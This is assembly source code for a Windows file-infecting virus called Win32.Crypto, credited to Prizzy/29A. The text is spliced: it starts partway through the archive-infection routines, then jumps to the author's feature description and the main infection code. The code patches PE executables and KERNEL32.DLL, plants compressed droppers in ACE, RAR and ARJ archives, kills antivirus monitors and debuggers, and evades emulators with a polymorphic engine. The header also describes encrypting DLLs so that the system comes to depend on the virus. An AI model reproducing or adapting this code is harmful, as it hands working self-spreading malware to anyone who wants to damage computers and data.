mov [edi+1],eax ;and extension
mov byte ptr [edi+5],00h ;zero byte
add ebx,HyperTable_OneSize
cmp byte ptr [ebx - /
HyperTable_HalfSize],00h;search this extension ?
jz __aff_finish
pop eax
jmp __find_dir
__aff_finish:
ret
__af_fullcopy:
inc ebx
mov al,byte ptr [ebx] ;load filename's char
mov [edi],al
inc edi
or al,al ;end of filename ?
jnz __af_fullcopy
add ebx,HyperTable_HalfSize+1;+1 means zero byte
cmp byte ptr [ebx - /
HyperTable_HalfSize],00h;search this filename ?
jz __aff_finish
pop eax
jmp __find_dir
__get_last_char: ;edi=last char+1 in filename
lea edi,[ebp+search_filename]
mov ecx,filename_size
xor al,al
cld
repnz scasb
dec edi
ret
__clean: ;clean last item in filename
lea edx,[ebp+search_filename]
call __get_last_char
__2:mov byte ptr [edi],0
dec edi
cmp byte ptr [edi],'/'
jnz __2
inc edi
ret
;哪拇 infection in ACE/RAR and ACE/RAR EXE-SFX archivez 媚哪哪哪哪哪哪哪哪
;---------------------------------------------------------
;This function scans input EXE file whether it is not SFX
;for RAR (Dos,W32) or for ACE (Dos,Win32 - German/English)
;If yes, I will put compressed dropper in the end of file.
;Why that ? See on "infect_ACE:" comment for more info.
;
__iSFX_fHandle dd 00000000h ;file's handle
__iSFX_fMemory dd 00000000h ;file's headers
__iSFX_nCompare dd 00000000h ;comparing places
;
infect_ACE_RAR:
; open input file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iSFX_finish
mov [ebp+__iSFX_fHandle],eax
; allocate memory for comparing
mov eax,10000h
call malloc
mov [ebp+__iSFX_fMemory],eax
; we must search certain bytes on certain file position
mov [ebp+__iSFX_nCompare],7 ;six! comparing
__iSFX_search_1:
dec [ebp+__iSFX_nCompare]
jz __iSFX_sEnd
lea ebx,[ebp+Archive_MagicWhere]
__iSFX_magic_okay:
mov eax,[ebp+__iSFX_nCompare]
imul eax,00000004h
add ebx,eax
movzx ecx,word ptr [ebx-0002h] ;ecx=bytes to read
movzx esi,word ptr [ebx-0004h] ;esi=file pos
; now, i will read datas
mov edx,[ebp+__iSFX_fMemory] ;allocated place
mov ebx,[ebp+__iSFX_fHandle]
call __MyReadFile ;i can't check error!
; prepare to scan
mov edi,[ebp+__iSFX_fMemory]
mov ebx,edi
add ebx,ecx ;end of memory buffer
__iSFX_search_2:
cmp edi,ebx
ja __iSFX_search_1
; search archive's signatures
lea esi,[ebp+RAR_Magic] ;no, esi=RAR_Magic
mov ecx,RAR_Magic_Length ;and its size
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_s2_continue ;is it really RAR ?
lea esi,[ebp+ACE_Magic] ;esi=ACE_Magic
mov ecx,ACE_Magic_Length ;and its size
__iSFX_s2_continue:
cld
rep cmpsb ;compare magics
jnz __iSFX_search_2 ;shit, we must search on other place
; position on header's start
sub edi,RAR_Magic_Length
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_h_read
sub edi,2*ACE_Magic_Length-RAR_Magic_Length
__iSFX_h_read:
; check multivolume flag
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_mf_rar
test word ptr [edi+ACEhHeadFlags-ACE_h_struct],2048
jmp __iSFX_mf_finish
__iSFX_mf_rar:
test word ptr [edi+RARFileFlags-RARSignature],0001h
__iSFX_mf_finish:
jnz __iSFX_sEnd
; call "child" functions, set certain input parameters
mov eax,[ebp+__iSFX_fHandle]
mov [ebp+__iACR_fHandle],eax ;modify handle
mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_cc_finish
mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
__iSFX_cc_finish:
mov ebx,[ebp+__iSFX_fHandle] ;check whether SFX
call __get_archive_infected ;archive has been
jc __iSFX_fClose ;infected
call __iACR_child_function ;call main function
jmp __iSFX_finish ;to infect ACE or RAR
__iSFX_sEnd:
call __iSFX_fClose
stc
ret
__iSFX_fClose:
mov ebx,[ebp+__iSFX_fHandle]
call __MyCloseFile
__iSFX_finish:
clc
ret
;哪拇 infection in ACE, RAR archivez 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
;---------------------------------------------------------
;This function infects ACE and RAR archivez. Unfortunately
;I can't my dropper place inside archive 'cause if archive
;is solid type resulting archive won't okay. Yes, this was
;shock for me. But if archive isn't solid all will be okay
;althrough this method is not support here. So, my dropper
;is compressed but in the end of file.
;
; input: filename_ptr ... pointer to an ARJ's filename
; NewARJ struc ... has been filled? I dont know!
;
; output: nothing
;
__iACR_fHandle dd 00000000h ;archive's handle
__iACR_dHandle dd 00000000h ;dropper's handle
__iACR_dMemory dd 00000000h ;dropper's body
;
__iACR_Type dd 00000000h ;ACE or RAR ?
__iACR_tACE equ 00h ;ACE signature
__iACR_tRAR equ 01h ;RAR signature
;
infect_ACE: mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
jmp infect_ACR
infect_RAR: mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
; here, common functions is starting...
infect_ACR:
; check whether dropper exists
mov eax,[ebp+__iACR_Type] ;get archive type
imul eax,size AProgram
cmp [ebp+eax+NewACE.dropper],00000000h
jz __iACR_finish ;does dropper exists ?
; open archive file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iACR_finish
mov [ebp+__iACR_fHandle],eax
; check whether archive has been infected
mov ebx,[ebp+__iACR_fHandle]
call __get_archive_infected
jc __iACR_fClose
; read archive header
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_1
lea edx,[ebp+ACE_h_struct] ;destination place
mov ecx,ACENeededBytes
jmp __iACR_end_1
__iACR_rar_1:
lea edx,[ebp+RARSignature] ;destination place
mov ecx,RARSignature_Length + /
RARNeededBytes ;number of bytes to read
__iACR_end_1:
xor esi,esi
mov ebx,[ebp+__iACR_fHandle]
call __MyReadFile
jc __iACR_fClose
; check archive's header
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_2
cmp dword ptr [ebp+ACEhSignature],'CA**'
jnz __iACR_fClose ;the 1st part of sign
cmp word ptr [ebp+ACEhSignature+00000004h],'*E'
jnz __iACR_fClose ;the 2nd part
test word ptr [ebp+ACEhHeadFlags],2048
jnz __iACR_fClose ;multivolume flag ?
jmp __iACR_end_2
__iACR_rar_2:
cmp dword ptr [ebp+RARSignature],'!raR'
jnz __iACR_fClose
cmp word ptr [ebp+RARSignature+00000004h],071Ah
jnz __iACR_fClose
test word ptr [ebp+RARFileFlags],0001h
jnz __iACR_fClose ;multivolume flag ?
__iACR_end_2:
; open dropper file
__iACR_child_function:
mov edx,[ebp+__iACR_Type] ;get archive type
imul edx,size AProgram
mov edx,[ebp+edx+NewACE.dropper]
or edx,edx ;once again test:
jz __iACR_finish ;does dropper exists ?
call __MyOpenFile
jc __iACR_fClose
mov [ebp+__iACR_dHandle],eax
; get dropper's file size
mov ebx,[ebp+__iACR_dHandle]
call __MyGetFileSize
mov ecx,eax
; allocate memory for dropper's file body
call malloc
mov [ebp+__iACR_dMemory],eax
; read whole dropper's body
mov edx,[ebp+__iACR_dMemory];destination buffer
xor esi,esi ;file position
mov ebx,[ebp+__iACR_dHandle];dropper's handle
call __MyReadFile
jc __iACR_dClose
; get archive file size
mov ebx,[ebp+__iACR_fHandle]
call __MyGetFileSize
mov esi,eax
; "update" archive file by my dropper
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_3
movzx eax,word ptr [edx+ACEhHeadSize-ACE_h_struct]
add eax,00000004h
jmp __iACR_end_3
__iACR_rar_3:
movzx eax,word ptr [edx+RARHeaderSize-RARSignature]
add eax,RARSignature_Length
__iACR_end_3:
add edx,eax ;header take away
sub ecx,eax ;without main header, please
mov ebx,[ebp+__iACR_fHandle]
call __MyWriteFile ;write my dropper, uaaah :)
; archive has been infected
mov ebx,[ebp+__iACR_fHandle]
call __set_archive_infected
__iACR_dClose:
mov ebx,[ebp+__iACR_dHandle]
call __MyCloseFile
__iACR_dealloc:
mov eax,[ebp+__iACR_dMemory]
call mdealloc
__iACR_fClose:
mov ebx,[ebp+__iACR_fHandle]
call __MyCloseFile
__iACR_finish:
ret
;哪拇 infection in ARJ archivez 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
;---------------------------------------------------------
;This function infect ARJ archivez by my prepared dropper.
;Dropper is compressed by ARJ (four method without store).
;
; input: filename_ptr ... pointer to an ARJ's filename
; NewARJ struc ... 's been filled? I dont know!
;
; output: nothing
;
__iARJ_fHandle dd 00000000h ;archive's handle
__iARJ_fFiles dd 00000000h ;number of files
__iARJ_dHandle dd 00000000h ;dropper's handle
__iARJ_dMemory dd 00000000h ;dropper's file body
;
infect_ARJ:
xor eax,eax
mov [ebp+__iARJ_fFiles],eax
; check whether dropper exists
cmp [ebp+NewARJ.dropper],00000000h
jz __iARJ_fi
; 谀耐屯屯屯湍内哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪目哪屯屯屯屯哪?; : Prizzy/29A : Win32.Crypto : Prizzy/29A :
; 滥耐屯屯屯湍睦哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪馁哪屯屯屯屯哪?;
; I'm very proud on my very first virus at Win32 platform. It infects EXE
; files with PE (Portable Executable) header. Also it can compress itself
; into ZIP/ARJ/RAR/ACE/CAB archivez. If the virus catch DLL opeations, it
; encrypt/decrypt that by cryptography functions. Thus, we can pronounce
; the system is dependents on the virus (OneHalf idea).
;
; When infected EXE is started, it infects KERNEL32.DLL, hooks some Win32
; functions and next reboot is actived. It catches "all" file operations,
; create thread/mutex, run Hyper Infection for API to find archivez, AV
; checksum files, EXEs and so on.
;
; If PHI-API will find an archive program, the virus compress itself and
; add itself to body (inside, not at the end). My PPE-II does NOT support
; copro & mmx garbages, only based with many features are new.
;
;
; Detailed Information
; 哪哪哪哪哪哪哪哪哪哪哪
;
;
; Cryptography Area, based on WinAPI (SR2/NT) functions
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?; Let us start. I exploited One Half technics for Win32 world, new method
; in our VX world. You exactly know One Half tries to encode your sectors
; and if you want to read its he decodes ones and so on, you exactly know
; what I think. Well, and because I use kernel32 infection I can hook all
; file functions. Then I decode all DLL files by PHI-II (Hyper Infection)
; and if the system wants to open DLL file I decode one, and so on. Then,
; the Win32 system is dependents on my virus. Naturally, the user can re-
; install Win95/98/NT/2000 but then DLL are in MSOffice, Visual C++, ICQ,
; Outlook, AutoCAD and many many more appz. For comparison: my Win98 has
; 831 DLL files and on my all disks are 5103 DLL files (including Win2k).
; I know this is the perfect way to get all what you want. But I've found
; out I can't hook all Win32 file operations so, true crypto DLL will be
; inside Ring0/Ring3 world - my future work...
;
;
; Prizzy Polymorphic Engine (PPE-II new version)
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
; I've removed all copro & mmx garbages and I've coded these new stuff:
; * brute-attack algorithm
; * random multi-layer engine
; By "brute-attack" I'm finding right code value by checksum. And because
; I don't know that number, AV neither. This process can take mostly 0.82
; seconds on my P233. For more info find "ppe_brute_init:" in this source
;
; In the second case I don't decode by default (up to down) but by random
; multi-layer algorithm. It means I generate the certain buffer and by
; its I decode up or down. Thus I can generate more then 950 layers and
; typical some 69 layers. Also the random buffer, behind poly loop, has
; anti-heuristic protection (gaps) to AV couldn't simulate that process.
; So, only in my decoding loop are stored the places where the gaps are.
; Find "ppe_mlayer_generate:" label for many momre information.
;
;
; Infection ZIP/ARJ/RAR/ACE/CAB archivez, including RAR/ACE EXE-SFX
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?; I will find these archive programs and by them I will compress some in-
; fected file by random compression level. Then the dropper is stored in-
; side archive, not at the end. So, I don't need have any CRC algorithms.
; However these operations are very complex, especially ZIP infection but
; it isn't impossible. So, AV cannot check only last file (stored) in ar-
; chive, but inside it.
;
;
; Main features
; 哪哪哪哪哪哪哪?;
;
; * Platforms: Windows 95/98, Windows NT/2000 (tested on 2031 build)
; * Residency: Yes, KERNEL32 way, working on 95/98 and NT/2k systems
; * Non-residency: Yes, only K32 infection
; * Stealth: Yes, DLLs working; opening, copying and loading
; * AntiDebugging: Yes, some stupid debuggers like TD32; routinues for
; disable SoftICE 95/NT.
; * AntiHeuristic: Yes, threads way and multi-layer anti-heuristic
; * AntiAntivirus: Yes, deleting checksum files, hacking AVAST database
; * Other anti-*: Yes, anti-emulator, anti-bait, anti-monitor
; * Fast Infection: Yes/No, infect only 20 EXEs every reboot, but infect
; all types of archivez on all diskz
; * Polymomrphism: Yes, using based garbages from Win9x.Prizzy, inclu-
; ding brute-force way and random multi-layer way
; * Other features: (a) Use of brute-CRC64 algorithm to find APIs in K32
; (b) Encoding and decoding DLLs in real time
; (c) Memory allocations by "CreateFileMapping" func.
; 'cause of sharing among processes
; (d) Use of threads, mutexes & process tricks
; (e) Support of "do not infected" table
; (f) Checking files by natural logarithm
; (g) No optimalization, yeah, I don't lie (read
; "Words from Prizzy" 29A #4 to know why)
; (h) UniCode support
;
;
; Greetings
; 哪哪哪哪哪?;
; And finally my greetz go to:
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪
; Darkman u're really great inet pal, thanx for fun on #virus :)
; Benny thanx for big help with threads, mutexes... we're wait-
; ing for Darkman's trip here, aren't we :) ?
; GriYo nah, I'd like to understand your ideas... thanx :) !
; Flush u've really big anti-* ideas, dude
; MemoryLapse yeah, K32 infection... go out of efnet to undernet
; LordJulus you have great vx articles, viruses ...
; Asmodeus finish that virus and release it; thanx for your trust
; AV companies just where is my win9x.prizzy description :) ?
; ...and for VirusBuster and Bumblebee
;
;
; Contact me
; 哪哪哪哪哪
; prizzy@coderz.net
; http://prizzy.cjb.net
;
;
; (c)oded by Prizzy/29A, December 1999
;
;
.386p
.model flat,STDCALL
include Include/Win32API.inc
include Include/UseFul.inc
include Include/MZ.inc
include Include/PE.inc
extrn ExitProcess:proc
extrn MessageBoxA:proc
;哪拇 prepare to program start 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.data
db ?
.code
;哪拇 some equ's needed by virus 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
;DEBUG equ YEZ ;only for debug and 1st start
mem_size equ (mem_end -virus_start) ;size of virus in memory
file_size equ (file_end-virus_start) ;size of virus in file
infect_minsize equ 4096 ;only filez bigger then 4K
infect_maxsize equ 100*1024*1024 ;to 100Mb
access_ebx equ (dword ptr 16) ;access into stack when
access_edx equ (dword ptr 20) ;will be used pushad
access_ecx equ (dword ptr 24)
access_eax equ (dword ptr 28)
search_mem_size equ 100*(size dta+size search_address)
;哪拇 some structurez for virus 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
dta_struc struc ;Win32_FIND_DATA structure
dta_fileattr dd ? ;for FindFirstFile function
dta_time_creation dq ?
dta_time_lastaccess dq ?
dta_time_lastwrite dq ?
dta_filesize_hi dd ?
dta_filesize dd ?
dta_reserved_0 dd ?
dta_reserved_1 dd ?
dta_filename db 260 dup (?)
dta_filename_short db 14 dup (?)
ends
sysTime_struc struc ;used by my Windows API
wYear dw 0000h ;"hyper infection"
wMonth dw 0000h
wDayOfWeek dw 0000h
wDay dw 0000h
wHour dw 0000h
wMinute dw 0000h
wSecond dw 0000h
wMilliseconds dw 0000h
ends
Process_Information struc ;CreateProcess: struc #1
hProcess dd 00000000h
hThread dd 00000000h
dwProcessId dd 00000000h
dwThreadId dd 00000000h
ends
Startup_Info struc ;CreateProcess: struc #2
cb dd 00000000h
lpReserved dd 00000000h ;this struc has been stolen
lpDesktop dd 00000000h ;from "Win32 Help"
lpTitle dd 00000000h
dwX dd 00000000h
dwY dd 00000000h
dwXSize dd 00000000h
dwYSize dd 00000000h
dwXCountChars dd 00000000h
dwYCountChars dd 00000000h
dwFillAttribute dd 00000000h
dwFlags dd 00000000h
wShowWindow dw 0000h
cbReserved2 dw 0000h
lpReserved2 dd 00000000h
hStdInput dd 00000000h
hStdOutput dd 00000000h
hStdError dd 00000000h
ends
File_Time struc ;get/set file time struc
dwLowDateTime dd 00000000h
dwHighDateTime dd 00000000h
ends
;哪拇 some macroz needed by virus 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
; search "anti-emulators:" for more information
@ANTI_E_START macro start_hack, finish_hack
WHILE (num NE 0)
push dword ptr [ebp+start_hack + /
((finish_hack-start_hack) / 4 + 1 - num) * 4]
num = num - 1
endm
num = (finish_hack - start_hack) / 4 + 1
endm
@ANTI_E_FINISH macro start_hack, finish_hack, thread_handle
WHILE (num NE 0)
pop dword ptr [ebp+finish_hack - /
(finish_hack-start_hack) mod 4 - /
((finish_hack-start_hack) / 4 + 1 - num) * 4]
num = num - 1
endm
call [ebp+ddCloseHandle], thread_handle
num = (finish_hack - start_hack) / 4 + 1
endm
;哪拇 virus code starts here 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?virus_start:
call get_base_ebp ;get actual address to EBP
mov eax,ebp
db 2Dh ;sub eax,infected_ep
infected_ep: dd 00001000h
db 05h ;add eax,original_ep
original_ep: dd 00000000
sub eax,[ebp+__pllg_lsize]
push eax ;host address
; use anti-emulator
pusha
@SEH_SetupFrame <jmp __anti_e_1>;set SEH handler
call $ ;ehm :)
jmp __return
__anti_e_1:
@SEH_RemoveFrame ;reset SEH handler
popa
call find_kernel32 ;find kernel's base address
; use anti-emulator
@ANTI_E_START __thread_1_begin, __thread_1_finish
lea eax,[ebp+__thread_1] ;thread function
mov ebx,offset __thread_1_begin + /
(__thread_1_finish - __thread_1_begin) /
shl 18h ;upper imm8 register in EBX
call __MyCreateThread ; * anti-heuristic
__thread_1_begin equ this byte
jmp $ ;anti-emulator :)
jmp __return ;patch this ! random number
__thread_1_finish equ this byte
@ANTI_E_FINISH __thread_1_begin, __thread_1_finish, eax
; next code...
call kill_av_monitors ;kill AVP, AVAST32 etc.
call kill_debuggers ;bye, bye SoftICE, my honey
call create_mutex ;already resident ?
jc __return ;go back, if yes
call crypto_startup
call infect_kernel ;ehm, find kernel and infect!
__return:
pop eax
add eax,offset virus_start
jmp eax ;go back, my lord...
;哪拇 main function for infect file 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
;---------------------------------------------------------
;This is main function which infects file.
;
;Extension support:
; EXE ... executable file (PE), RAR/ACE SFX file
; DLL ... kernel32 infection, encypting through PHI-API
; CAB ... infecting Microsoft Cabinet File
; ZIP/ARJ/RAR/ACE ... dropper compressed,inside archive
;
;Okay, here is truth. I had many problems with EXE and DLL
;infection in this function. I found out all valuez have
;to be aligned etc. Especially Win2k need that. I also use
;"CheckSumMappedFile" function to calculate appz checksum.
;
infect_file:
; save registers & get delta
pusha
call get_base_ebp
; get extension
mov edi,[ebp+filename_ptr]
; convert lowercase characters to uppercase
push edi
call [ebp+ddlstrlen] ;get length of filename
inc eax ;number of characters to
push eax ;progress
push edi ;filename
call [ebp+ddCharUpperBuffA] ;convert to uppercase
; infect only files in these dirz
IFDEF DEBUG
cmp [edi+00000000h],'W/:C' ;"C:/WIN/WEWB4/XX/"
jnz __if_debug ;directory
cmp [edi+00000004h],'W/NI'
jnz __if_debug
cmp [edi+00000008h],'4BWE'
jnz __if_debug
cmp [edi+0000000Ch],'/XX/'
jz __if_debug2
__if_debug:
cmp [edi],'W/:C' ;"C:/WINDOWS/KERN"
jnz infect_file_exit
cmp [edi+4],'ODNI'
jnz infect_file_exit
cmp [edi+8],'K/SW'
jnz infect_file_exit
cmp [edi+8+4],'ENRE'
jnz infect_file_exit
__if_debug2:
ENDIF
; check file name (by avoid table)
mov ebx,[ebp+filename_ptr] ;filename
lea esi,[ebp+avoid_table] ;avoid table
call validate_name
jc infect_file_exit
; check AV files (anti-bait)
call fuck_av_files
jc infect_file_exit
; get extension
cld
mov al,'.' ;search this char
mov cx,filename_size ;max filename_size
repnz scasb ;searching...
dec edi ;set to that char
cmp al,[edi] ;check again !
jnz infect_file_exit ;shit, bad last char
IFDEF DEBUG
mov eax,[edi-4] ;you can infect only
cmp eax,'23LE'
jz __OnlyMyKernel
cmp eax,'DCBA' ;this file on my disk
jnz infect_file_exit ;i won't risk
__OnlyMyKernel:
ENDIF
; get file information
lea esi,[ebp+dta] ;dta structure
mov edx,[ebp+filename_ptr] ;FileName pointer
call __MyFindFirst
jc infect_file_exit ;success ?
call __MyFindClose ;close handle
cmp dword ptr [ebp+it_is_kernel],00000001h
jz infect_file_continue ;if kernel32, infect it
; check extension
mov eax,[edi] ;get ext of file
not eax
cmp eax,not 'EXE.' ;is it EXE file ?
jnz next_ext_1
call infect_ACE_RAR ;is it ACE/RAR EXE-SFX file ?
jnc infect_file_exit
jmp next_ext_end
next_ext_1:
cmp eax,not 'ECA.' ;is it ACE archive file ?
jnz next_ext_2
call infect_ACE
next_ext_2:
cmp eax,not 'RAR.' ;is it RAR archive file ?
jnz next_ext_3
call infect_RAR
next_ext_3:
cmp eax,not 'JRA.' ;is it ARJ archive file ?
jnz next_ext_4
call infect_ARJ
next_ext_4:
cmp eax,not 'PIZ.' ;is it ZIP archive file ?
jnz next_ext_5
call infect_ZIP
next_ext_5:
cmp eax,not 'BAC.' ;is it CAB archive file ?
jnz infect_file_exit
call infect_CAB
jmp infect_file_exit
next_ext_end: ;infect if any EXE file
; check number of infected files
cmp [ebp+NewACE.dropper],00000000h
jz infect_file_continue ;dropper exists ?
cmp dword ptr [ebp+file_infected],20
jae infect_file_exit ;infected more then 20 EXEs ?
; check file size
infect_file_continue:
mov eax,[ebp+dta.dta_filesize]
cmp eax,infect_minsize ;is filesize smaller ?
jb infect_file_exit
cmp eax,infect_maxsize ;is filesize bigger ?
ja infect_file_exit
; set file attributes
mov ecx,FILE_ATTRIBUTE_NORMAL
mov edx,[ebp+filename_ptr]
call __MySetAttrFile
jc infect_file_exit ;success ?
; open file
mov edx,[ebp+filename_ptr]
call __MyOpenFile ;open file !
jc infect_file_restattr
mov [ebp+file_handle],eax
; create a memory map object
push 00000000h ;name of file mapping object
push 00000000h ;low 32 bits of object size
push 00000000h ;high 32 bits of object size
push PAGE_READONLY ;get needed valuez, etc.
push 00000000h ;optional security attributes
push [ebp+file_handle] ;handle to file to map
call [ebp+ddCreateFileMappingA]
or eax,eax ;failed ?
jz infect_file_close
mov [ebp+file_hmap],eax ;store mapped file handle
; view of file in our address
push 00000000h ;number of bytes to map
push 00000000h ;low 32 bits of the offset
push 00000000h ;high 32 bits of the offset
push FILE_MAP_READ ;access mode
push [ebp+file_hmap] ;mapped file handle
call [ebp+ddMapViewOfFile]
or eax,eax ;failed ?
jz infect_file_closeMap
mov [ebp+file_hmem],eax ;mapped file in memory
; check file signature
cmp word ptr [eax.MZ_magic], /
IMAGE_DOS_SIGNATURE ;test 'MZ'
jnz infect_file_unMap
; check "PE" valuez
cmp word ptr [eax.MZ_crlc],0000h
jz infect_file_okay ;no PE ?
cmp word ptr [eax.MZ_lfarlc],0040h
jb infect_file_unMap ;bad PE ?
infect_file_okay:
; seek on NT header
mov esi,eax
add esi,[eax.MZ_lfanew]
push esi
call [ebp+ddIsBadCodePtr] ;can we read memory at least?
or eax,eax
jnz infect_file_unMap
; check "PE" signature
cmp dword ptr [esi.NT_Signature], /
IMAGE_NT_SIGNATURE
jnz infect_file_unMap ;is it really 'PE/0/0' ?
; already infected ?
mov eax,[ebp+file_hmem] ;mapped file in memory
add eax,[ebp+dta.dta_filesize]
mov eax,[eax-00000004h] ;infected dword flag
call __check_infected
jnc infect_file_unMap
; check header flags
mov ax,[esi+NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz infect_file_unMap
test ax,IMAGE_FILE_DLL ;no DLL ?
jz infect_file_no_dll
cmp dword ptr [ebp+it_is_kernel],00000000h
jz infect_file_unMap ;is it kernel32 infection ?
infect_file_no_dll:
call __getLastObjectTable ;seek on last object table
; alloc memory for polymorphic engine
mov eax,file_size + 30000h
call malloc
mov [ebp+mem_address],eax
add eax,file_size
mov [ebp+poly_start],eax
; get new entry-point (EXE), or change IT of kernel32 ?
mov eax,[ebx+SH_SizeOfRawData]
add eax,[ebx+SH_VirtualAddress]
mov dword ptr [ebp+infected_ep],eax
mov eax,[esi+NT_OptionalHeader.OH_AddressOfEntryPoint]
mov dword ptr [ebp+original_ep],eax
mov [ebp+poly_finish],mem_size
; run Prizzy Polymorphic Engine (PPE-II)
cmp dword ptr [ebp+it_is_kernel],00000000h
jnz infect_file_common
call ppe_startup
; calculate maximum infected file size
infect_file_common:
mov eax,[ebx+SH_SizeOfRawData] ;file size
add eax,[ebx+SH_PointerToRawData]
add eax,[ebp+poly_finish] ; + virus file size
add eax,00000004h ; + infected flag
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
push eax
; unmap file object
push [ebp+file_hmem]
call [ebp+ddUnmapViewOfFile]
; close mapping file object
push [ebp+file_hmap]
call [ebp+ddCloseHandle]
; reopen memory mapped file object
push 00000000h ;name of file mapping object
push dword ptr [esp+0000004h];low 32 bits of object size
push 00000000h ;high 32 bits of object size
push PAGE_READWRITE ;get needed valuez, etc.
push 00000000h ;optional security attributes
push [ebp+file_handle] ;handle to file to map
call [ebp+ddCreateFileMappingA]
mov [ebp+file_hmap],eax ;store mapped file handle
; view of file in our memory
push 00000000h ;number of bytes to map
push 00000000h ;low 32 bits of the offset
push 00000000h ;high 32 bits of the offset
push FILE_MAP_WRITE ;access mode
push [ebp+file_hmap] ;mapped file handle
call [ebp+ddMapViewOfFile]
mov [ebp+file_hmem],eax ;mapped file in memory
; seek on last object table
add eax,[eax.MZ_lfanew]
mov esi,eax
call __getLastObjectTable
; infect "KERNEL32" file OR change EntryPoint
cmp dword ptr [ebp+it_is_kernel],00000000h
jz infect_file_entry
mov [ebp+__pllg_lsize],00000000h ;more info in that func
call infect_file_kernel ;hook "kernel32" table :)
jmp infect_file_no_change
infect_file_entry:
mov eax,dword ptr [ebp+infected_ep]
add eax,[ebp+file_size3]
mov [esi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax
; copy mem_address (virus body) to the end of file
infect_file_no_change:
push esi
mov esi,[ebp+mem_address] ;source data
mov edi,[ebx+SH_SizeOfRawData]
add edi,[ebx+SH_PointerToRawData]
add edi,[ebp+file_hmem] ;destination pointer
mov ecx,[ebp+poly_finish] ;number of bytes to copy
rep movsb
pop esi
; calculate new physical size
mov eax,[ebp+poly_finish]
cmp dword ptr [ebp+it_is_kernel],00000000h
jz $ + 7 ;this isn't logic but i had
mov eax,mem_size ;problems in k32 memory
add eax,[ebx+SH_SizeOfRawData]
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
mov [ebx+SH_SizeOfRawData],eax
; calculate new potential virtual size
mov eax,[ebx+SH_VirtualSize]
add eax,mem_size
mov ecx,[esi+NT_OptionalHeader.OH_SectionAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
; if new phys_size > virt_size ==> virt_size = phys_size
cmp eax,[ebx+SH_SizeOfRawData]
jnc infect_file_no_update
mov eax,[ebx+SH_SizeOfRawData]
infect_file_no_update:
mov [ebx+SH_VirtualSize],eax
add eax,[ebx+SH_VirtualAddress]
; infected host increased an image size ?
cmp eax,[esi+NT_OptionalHeader.OH_SizeOfImage]
jc infect_no_update_2
mov [esi+NT_OptionalHeader.OH_SizeOfImage],eax
infect_no_update_2:
; set these PE flags
or dword ptr [ebx+SH_Characteristics], /
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or /
IMAGE_SCN_MEM_WRITE
; already infected flag
mov eax,02302301h ;special number
call ppe_get_rnd_range
inc eax ;it can't be zero
imul eax,117 ;encrypt one
pop edi ;file size + virus size
mov [ebp+file_hsize],edi
add edi,[ebp+file_hmem] ;mapped file in memory
mov [edi-00000004h],eax ;already infected flag
; calculate new checksum because of Win2k and WinNT :)
cmp dword ptr [esi+NT_OptionalHeader. /
OH_CheckSum],00000000h
jz infect_file_no_checksum
@pushsz "IMAGEHLP.DLL" ;load "IMAGEHLP.DLL" library
call [ebp+ddLoadLibraryA]
or eax,eax ;failed ?
jz infect_file_no_checksum
push eax ;parameter for FreeLibrary
; get function to calculate checksum
@pushsz "CheckSumMappedFile" ;get address of this function
push eax ;library handle
call [ebp+ddGetProcAddress]
or eax,eax
jz infect_file_deload
; calculate checksum
lea ecx,[esi+NT_OptionalHeader.OH_CheckSum]
push ecx ;receives computed checksum
call $+9 ;header old checksum
dd ?
push dword ptr [ebp+file_hsize]
push [ebp+file_hmem] ;memory mapped address
call eax
infect_file_deload:
call [ebp+ddFreeLibrary]
; dealloc memory for PPE-II
infect_file_no_checksum:
mov eax,[ebp+mem_address]
call mdealloc
; new infected file
inc dword ptr [ebp+file_infected]
; use for acrhive dropper ?
cmp dword ptr [ebp+dta.dta_filesize],30000
ja infect_file_unMap ;for archive fsize < 30Kb
push [ebp+file_hmem] ;mapped file in memory
call [ebp+ddUnmapViewOfFile]
push [ebp+file_hmap] ;mapped file object
call [ebp+ddCloseHandle]
mov ebx,[ebp+file_handle] ;I must close infected file
call __MyCloseFile ;coz I'll copy it, etcetera
call __add_dropper ;compress it by ZIP, RAR ...
jmp infect_file_restattr
infect_file_unMap:
push [ebp+file_hmem] ;mapped file in memory
